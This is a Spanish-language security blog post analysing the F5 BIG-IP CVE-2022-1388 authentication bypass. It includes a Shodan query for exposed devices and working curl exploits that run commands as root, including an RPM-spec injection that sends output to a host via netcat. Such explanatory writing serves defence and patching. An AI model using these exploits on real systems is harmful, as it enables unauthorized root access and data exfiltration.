Explotación masiva de F5 BIG-IP CVE-2022-1388 (RCE)

Hace una semana, el 4 de mayo de 2022, F5 publicó varias vulnerabilidades entre las que destaca especialmente la CVE-2022-1388, una omisión de autenticación crítica que conduce a la ejecución remota de código en la interfaz REST de iControl de F5 BIG-IP. Si te das una vuelta por Shodan (http.title:"BIG-IP®-+Redirect" +"Server"), hasta hace poco había miles de BIG-IP expuestos en Internet... Veamos un poco en que consiste esta vulnerabilidad crítica.

En F5 BIG-IP se están ejecutando dos servidores HTTP diferentes:
1/ un servidor httpd es Apache escuchando en el puerto 443, que ejecuta el front-end
2/ un servidor java es en realidad jetty, que ejecuta la API REST de iControl en el puerto 8100.

El proceso de autenticación es sencillo:
1/ Si un usuario se autentica con una cookie (BIGIPAuthCookie) o autenticación básica HTTP, Apache lo valida usando mod_auth_pam.so y lo pasa al backend sin token. Dicho backend ya no comprueba nada porque entiende que el usuario se ha validado previamente en el frontend correctamente.
2/ Si la solicitud contiene un token (cabecera X-F5-Auth-Token), la solicitud (token incluído) se reenvía al backend para su validación (a menos que el servidor haya sido parcheado).

Y el exploit como veremos es también sencillo:

$ curl -sk -H 'X-F5-Auth-Token: AAAAAAAAAAAAAAAAAAAAAAAAAA' -H 'Connection: X-F5-Auth-Token' -H 'Host: 127.0.0.1' -u admin:invalidpw https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool
{"kind":"tm:ltm:pool:poolcollectionstate","selfLink":"https://localhost/mgmt/tm/ltm/pool?ver=16.1.2.1","items":[]}

A pesar del token incorrecto y la contraseña no válida, ¡esta solicitud funciona! ¿Por qué? Porque confundimos al front-end para pensar que debemos autenticarnos en el back-end (estableciendo un token), pero a la vez también confundimos al back-end para pensar que ya nos autenticamos (al incluir el X-F5-Auth-Token) y luego usando Connection para eliminarlo (esa cabecera se suele utilizar para indicar a proxies que ciertas cabeceras han de ser eliminadas antes de reenviar la petición). Ambos asumen que el otro hizo el trabajo, ¡pero ninguno de ellos autenticó al usuario!

El primer exploit público de Horizon3 utilizaba el endpoint /mgmt/tm/util/bash para ejecutar comandos:

$ curl -sk -H 'Content-Type: application/json' -H 'X-F5-Auth-Token: AAAAAAAAAAAAAAAAAAAAAAAAAA' -H 'Connection: X-F5-Auth-Token' -H 'Host: 127.0.0.1' -u admin:invalidpw https://bigip-16-1-2-1-unpatched.local/mgmt/tm/util/bash --data '{"command": "run", "utilCmdArgs": "-c id"}' | jq '.commandResult'
"uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0\n"

Pero hay otro endpoint interesante que permite crear ficheros spec de RPM que podrían derivar en la ejecución remota también de comandos y de paso bypassear algunos filtros:

$ curl -uadmin:admin -H "Content-Type: application/json" -X POST -sk https://bigip-16-1-2-2-patched.local/mgmt/shared/iapp/rpm-spec-creator --data '{"specFileData": {"name": "test", "srcBasePath": "/tmp", "version": "test6", "release": "test7", "description": "test8\n\n%check\nid | nc 10.0.0.123 4444", "summary": "test9"}}' | jq --raw-output '.specFilePath'
/var/config/rest/node/tmp/1b89e446-e78a-435a-b6ee-c98c58284090.spec

Así que lo dicho siempre en estos casos... parchea o muere!